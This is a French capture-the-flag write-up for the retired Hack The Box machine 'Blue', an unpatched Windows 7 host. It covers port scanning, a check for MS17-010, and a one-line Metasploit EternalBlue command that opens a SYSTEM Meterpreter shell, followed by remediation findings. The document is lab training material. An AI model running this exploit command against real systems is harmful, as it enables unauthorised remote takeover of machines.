picsou@htb:~/writeups/easy/blue$

Windows Easy

Blue : EternalBlue (MS17-010), SYSTEM direct

Windows 7 non patché, vulnérable à MS17-010. EternalBlue donne un shell SYSTEM directement via SMBv1.

box
Blue
os
Windows
difficulté
Easy
publiée le
temps
10 min
indices
aucun
outils
nmap metasploit
techniques
Scan de ports Exploit public (CVE) EternalBlue (MS17-010) Énumération SMB
cve
CVE-2017-0144

Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.

TL;DR

  1. Un Windows 7 expose SMBv1.
  2. Le port 445 est vulnérable à MS17-010 (EternalBlue).
  3. L'exploit donne un shell SYSTEM directement, comme Legacy mais en MS17-010.

Reconnaissance

kali
nmap -sVC -T4 10.129.43.11
nmap
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds

Windows 7 avec SMB exposé : c'est le profil typique d'une cible EternalBlue.

Vulnérabilité

kali
nmap --script smb-vuln-ms17-010 -p445 10.129.43.11

Le script confirme l'état VULNERABLE pour MS17-010 (CVE-2017-0144). Comme pour Legacy, on valide la vuln SMB avec le script dédié avant d'exploiter.

Exploitation (foothold = SYSTEM direct)

EternalBlue vise une corruption mémoire dans SMBv1. Le service tourne en SYSTEM, donc l'exploit donne directement les droits maximaux, sans étape de privesc.

kali
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.129.43.11; set LHOST tun0; run"

Une session Meterpreter s'ouvre en tant que NT AUTHORITY\SYSTEM. Les flags user.txt et root.txt sont lisibles directement.

Findings

#ConstatSévérité (CVSS v4)Remédiation
F1MS17-010 non patché (CVE-2017-0144)CritiqueAppliquer le correctif MS17-010
F2SMBv1 activéÉlevéeDésactiver SMBv1, n'autoriser que SMBv2/3

Leçons apprises

  • Windows 7 / Server 2008 avec SMBv1 exposé et non patché est quasi systématiquement vulnérable à EternalBlue.
  • Même logique que Legacy : l'exploit SMB donne SYSTEM d'un coup, pas de privesc à chercher.
  • EternalBlue est instable : garder en tête le risque de crash de la cible.

Références